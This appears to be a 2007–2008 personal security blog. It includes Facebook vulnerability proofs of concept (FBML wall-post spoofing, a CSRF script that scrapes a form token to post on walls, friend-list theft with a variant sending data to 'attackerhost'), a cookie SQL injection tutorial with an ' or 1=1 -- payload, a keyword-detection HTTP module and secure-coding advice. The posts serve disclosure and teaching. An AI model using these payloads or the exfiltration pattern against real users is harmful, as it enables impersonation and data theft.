Infinite Loop

Fake Facebook Wall Posts Using FBML

2008-01-20T18:32:00Z

Today while playing around with Facebook markup language (FBML) which is used in Facebook applications I found that through using the tag </fb:wallpost> it’s possible to fake user posts with ease just by using their user id as Facebook don’t validate that if the posts is really originating from the legitimate user so it allows anybody to use FBML to post wall posts to his/her application with the identity of another user. Here is proof of concept FMBL that you can use in your Facebook application

<fb:wall>

<fb:wallpost uid="[victim id goes here]">

Fady ownz me

</fb:wallpost>

</fb:wall>

SQL Injection Through Cookies

2007-12-30T18:31:00Z

Through my career as a developer I’ve seen many developers that are not aware about the possibility of SQL injection through cookies. Cookies in fact is a user input and as any input it must be validated and because normal users don’t see cookies that doesn’t mean attackers won’t temper with it, so developers must always validate cookies the same way they validate any other type of input. I will demonstrate in this article how it’s possible to an attacker to make a SQL injection attack through cookies. Say we have a web application admin page that hashes the admin password and store it in a cookie so next time the admin opens the web application administrator panel web page the application will recognize him/her as admin, the password is hashed in a cookie so it won’t be stored in plain text in cookies which is a bad security practice. So let’s say we have the following code

protected void Page_Load(object sender, EventArgs e)

{

if (Request.Cookies.Get("password_hash") != null)

{

//check if the password hash is authentic

string sql = "select count(id) from admins where password_hash = '" + Request.Cookies.Get("password_hash") + "'";

//the rest of database access code and admin

//authentication goes here

}

else Response.Redirect("login.aspx");

}

Now the code looks pretty sweet and simple, if there is no cookie the admin will be redirected to the login page else we will check if the password hash exists in the database or not, if yes we will log in the admin if not then the cookie has expired and we will redirect the admin to the login page, the cookie is hashed so if an attacker managed to get it, at least it won’t be in a plain text format and also it’s a hash (i.e. one way encryption) so the attacker will have a hard time cracking it and anyway by the time the attacker will get the hash it will be expired anyway. And of course there will be a security policy that forces our admin to change the password every 10 days. So now our security plan sounds pretty hard to break.

Our admin cookie should look like this

GET /admin/admins.aspx HTTP/1.1

Accept: */*

Accept-Language: en-us

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706)

Proxy-Connection: Keep-Alive

Host: www.host.com

Pragma: no-cache

Cookie: password_hash=d41d8cd98f00b204e9800998ecf8427e

But what if an attacker tempered with the cookies and sent us a GET request that looks like this

GET /admin/admins.aspx HTTP/1.1

Accept: */*

Accept-Language: en-us

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706)

Proxy-Connection: Keep-Alive

Host: www.host.com

Pragma: no-cache

Cookie: password_hash= SorryIDontHaveYourHash ' or 1=1 --

Pay some attention to the cookie line

Cookie: password_hash=SorryIDontHaveYourHash' or 1=1 --

Notice what it has in its end? Now let’s imagine how our SQL query will look like if the attacker did this

select count(id) from admins where password_hash = 'SorryIDontHaveYourHash' or 1=1 --'

This SQL query will return records every time it executes and our application will think that the cookie have a valid password hash although it doesn’t and will log the attacker as the admin. I hope you now understand the dangers that come from not validating your cookies the same as you validate user input. Thanks for reading and I would really appreciate your feedback.

Facebook Wall Security Vulnerability

2007-12-27T16:00:00Z

In Facebook if a user is logged in with the “Remember Me” option an attacker can make requests on behalf of the user to make wall posts by sending him/her a URL that contains ajax java script code that will call the Facebook services and do the post on behalf of the user using his/her stored credentials in the browser cookies. Facebook actually have anticipated this attack and used a technique that generates a random hash that is used as an authentication token with every request to their services to insure that the request have been done by the user himself and is originating from the Facebook ajax java script, this token is rendered in the Facebook html and must be sent with each request or it will be ignored, but this token can be obtained by the attacker by simply requesting the page first with the user credentials (which is stored on the user machine in browser cookies), then the attacker can proceed with the attack. I’ve written a proof of concept code for this issue. This code if executed by the user it will post the “Proof of Concept” message on the user wall. You can also change the code so it can post on others walls.

xmlHttp = GetXmlHttpObject()

var url = "http://www.facebook.com"

xmlHttp.onreadystatechange=stateChanged

xmlHttp.open("GET",url,true)

xmlHttp.send(null)

function stateChanged()

{

if (xmlHttp.readyState==4)

{

//here we get the current logged in user id

var user = xmlHttp.responseText.substring(xmlHttp.responseText.indexOf('name="user" value="') + 19, xmlHttp.responseText.indexOf('"', xmlHttp.responseText.indexOf('name="user" value="') + 19))

//then we get the token hash that must be sent with every request

var post_form_id = xmlHttp.responseText.substring(xmlHttp.responseText.indexOf('name="post_form_id" value="') + 27, xmlHttp.responseText.indexOf('"', xmlHttp.responseText.indexOf('name="post_form_id" value="') + 27))

var xmlHttpPost = GetXmlHttpObject()

xmlHttpPost.open("POST", "http://www.facebook.com/ajax/wallpost_ajax.php", true)

xmlHttpPost.setRequestHeader("Content-Type","application/x-www-form-urlencoded")

//we will make a post to the current user wall

//we can make posts to other users walls too

//by changing the "to" parameter to another user ID

xmlHttpPost.send("to=" + user + "&from=" + user + "&wall_text=Proof of Concept&post_form_id=" + post_form_id + "&post_form_id=" + post_form_id)

}

function GetXmlHttpObject()

{

//i didn't add the code to create the XHR object for firefox because

//it doesn't work on firefox already, if you have time to test this

//POC with other browsers and it worked please let me know

var xmlHttp

try

{

xmlHttp=new ActiveXObject("Msxml2.XMLHTTP")

}

catch (e)

{

xmlHttp=new ActiveXObject("Microsoft.XMLHTTP")

}

return xmlHttp

}

</script>

Facebook XSS Vulnerability

2007-12-23T20:22:00Z

Today I was taking a look at the Facebook AJAX java script that is responsible to give suggestions in the search text box you find under the Facebook logo on the left

I found this URL http://www.facebook.com/ajax/typeahead_search.php? hard coded in the following java script

function search_friend_source(get_param)

{

this.parent.construct(this,get_param);

new AsyncRequest().setMethod('GET').setReadOnly(true).setURI('/ajax/typeahead_search.php?'+get_param).setErrorHandler(function(){}).setHandler(function(response){this.values=response.getPayload().entries;this.build_index();}.bind(this)).send();}

at the file http://static.ak.facebook.com/js/typeaheadpro.js?44:75333

Whenever you open that URL from any browser it supplies you with a complete list of all your friends on Facebook in a java script format similar to JSON, it uses your credentials that is stored in your cookies in the browser to authenticate you.

Once I’ve seen it I’ve known instantly that I’ve found a security vulnerability similar to the famous Gmail XSS vulnerability, anybody with proper AJAX knowledge can host a java script on their site to request this page using your credentials and get all your of your Facebook friends list, so I made this proof of concept code to demonstrate the vulnerability

xmlHttp=GetXmlHttpObject()

var url=http://www.facebook.com/ajax/typeahead_search.php?;

xmlHttp.onreadystatechange=stateChanged;

xmlHttp.open("GET",url,true);

xmlHttp.send(null);

function stateChanged()

{

if (xmlHttp.readyState==4)

{

alert(xmlHttp.responseText)

}

function GetXmlHttpObject()

{

//i didn't add the code to create the XHR object for firefox because

//it doesn't work on firefox already, if you have time to test this

//POC with other browsers and it worked please let me know

var xmlHttp=null;

try

{

xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");

}

catch (e)

{

xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");

}

return xmlHttp;

}

</script>

If you opened any web page on the internet that contains that code and you are logged on Facebook at that time (i.e. your browser still have your credentials stored in your cookies) it will show you a message containing the java script return from Facebook with all your friends and there public data like there profile URL and their networks. These data can instead be sent to an attacker and get logged like this

function stateChanged()

{

if (xmlHttp.readyState==4)

{

var xmlHttpLogger=GetXmlHttpObject()

xmlHttpLogger.open("GET", "http://attackerhost/logger.php?log=" + xmlHttp.responseText, true)

}

So if you opened a page containing this version it will not alert you and instead it will send your Facebook contact list the attacker silently.

I’ve tested this proof of concept only with IE7 and it’s working fine, also I’ve tried it with Firefox and it doesn’t work because of the “same domain security policy” in Firefox. If you have some time to test it with other browsers please inform me with the results, thanks.

Catch hackers red handed using http modules

2007-12-16T22:18:00Z

Here is a nice trick to help you to detect hackers in action while trying to hack your web applications. The idea is very simple, we want to set a layer there between your application and the internet to watch the web traffic for anything suspicious. These suspicious things might be a query string that contains a XSS script or a SQL injection query. So we will monitor the web traffic that is passing through that layer for well known and common patterns of attack methods that most hackers use to scan your web applications for vulnerabilities. We will use http modules to implement that layer, here is some dirty code to demonstrate the idea.

using System;

using System.Data;

using System.Configuration;

using System.Web;

using System.Web.Security;

using System.Web.UI;

using System.Web.UI.WebControls;

using System.Web.UI.WebControls.WebParts;

using System.Web.UI.HtmlControls;

using System.Collections.Generic;

/// <summary>

/// Summary description for ICanSeeYouHttpModule

/// </summary>

public class ICanSeeYouHttpModule : IHttpModule

{

private List<string> suspicious = new List<string>();

public ICanSeeYouHttpModule()

{

//we fill our suspicious list with every string or character

//we find it not normal to use in our application web requests

suspicious.Add("select"); //for sql injection

suspicious.Add("update");

suspicious.Add("insert");

suspicious.Add("delete");

suspicious.Add("drop");

suspicious.Add("<script"); //for xss

suspicious.Add("'"); //for sql injection too

suspicious.Add(";"); //might be used in both xss java scripts or sql injections

//use your imagination for the rest :)

}

public String ModuleName

{

get { return "ICanSeeYouHttpModule"; }

}

public void Init(HttpApplication application)

{

application.BeginRequest += new EventHandler(application_BeginRequest);

}

void application_BeginRequest(object sender, EventArgs e)

{

HttpApplication application = (HttpApplication)sender;

HttpContext context = application.Context;

if (!Check(context.Request.RawUrl))

{

LogAndAlertTheAdmin(context.Request);

//you can also put some intimidating message here ;)

context.Response.Write("i can see u");

//or you can fake a decoy error message to

//let the attacker continue his scan while

//not aware that you already know about it,

//so you can know more about her/him and

//her/his attack techniques

}

private bool Check(string url)

{

//we will check our url for the suspicious stuff

foreach (string keyword in suspicious)

if (url.ToLower().Contains(keyword))

return false;

return true;

}

private void LogAndAlertTheAdmin(HttpRequest request)

{

//fill here your favorite logging method

//you can use any available info about

//the attacker in the request object

}

public void Dispose()

{

}

Ofcourse the previous code is just for demonostration sake and not intended to be perfect, to use this http module for your web application all what you have to do is to add this in your configuration file under <system.web>

</httpModules>

Enjoy ;)

SQL November CTP is released

2007-11-19T21:30:00Z

here is a direct download link

The most common software security mistakes

2007-09-03T22:04:00Z

Through my humble experience with software development I’ve seen developers making fetal security mistakes without even feeling that they are doing something wrong. So I’ve decided to gather these common mistakes in a list so it would be easier to avoid. Through this article I will give examples regardless to the used technology but the concepts applies to all technologies. So here we go

1. Don’t hide confidential information within your code: whatever you do don’t rely on hiding information within your code because as long your code is distributed to the client then the client might do with it as s/he wishes, which includes disassembling or decompiling your code and obtaining your confidential information. The kind of confidential information that you shouldn’t hide within your code might include but is not limited to passwords, user names, connections strings, IP addresses, domain names, symmetric encryption algorithms and of course symmetric encryption keys. And of course don’t rely on obfuscation.

2. Don’t forget to validate user input: sounds obvious but most developers think that user input is only limited to the user controls like text boxes and submit buttons but that is not true. User input might include but not limited to server requests, browser cookies, query strings and post requests. If you are expecting a zip code entered by the user then the user won’t need special characters like (!@#$%^&*()”’;:<>) so your application must not accept them. If the user will send you a request with an integer id in the query string then you don’t need negative values so your application must not accept them. SQL injection attacks and privileges escalations might happen through cookies if you don’t validate its content properly before processing it.

3. Don’t validate input at the client side: for example in web applications don’t validate user input using java script because the user might disable java script in his/her browser. In case of windows applications the user might be able to reverse engineer the application and reverse the validation algorithm to pass the unwanted input.

4. Don’t send confidential information to the client side: if you send any confidential information like network credentials to the client side then the user might be able to intercept it using any means like packet sniffing and analyze it to use it to access your resources unauthorized.

5. Don’t send user confidential data on a network without encryption: if you are sending your user credentials or any other critical data on any sort of network you better encrypt the whole connection so no one would be able to intercept the connection and extract the confidential information from it. For web applications SSL would be sufficient for non critical applications.

6. Don’t send data to host without confirming it’s the legitimate host: for example don’t authenticate on a server without confirming it’s the legitimate one because it might be just a trap to gather your users’ credentials. Basically this is easily done with the use of Active Directory as a 3^rd party to authenticate both parties and confirm for each one that the other party is the legitimate one.

7. Don’t save any confidential information at the client side: if you saved user passwords on his/her machine and it got compromised then the attacker would obtain the user passwords with ease, so you should always encrypt any confidential data when saving it at the client side to avoid this from happening.

8. Don’t be selfish and protect your user not only your system: most developers think always that the users are always the bad guys whom are trying to penetrate and bring down the system but it’s rarely when you find developers that think of users as victims whom might get attacked with the use of there system. XSS attacks proves this.

9. Don’t be optimistic: don’t remove security validations because the current part is only accessed by admins, the admin account maybe highjacked and used to control the whole system that is running your application.

10. Be paranoid: always think the worst. The more your system is critical and you want it to be secure the more you must be paranoid. Always plan for the worst, for example consider if your servers got compromised so how are you going to protect your users confidential data? What if your servers got flooded or your connections were down? What if your users got hacked and there credentials were stolen? What if your network was penetrated and what if your traffic was filtered? You must always ask your self the worst questions while designing the security schemes of your application.

Thanks for reading and I wish you have enjoyed this article. I would like to hear your opinions so your comments and feedbacks would be really appreciated.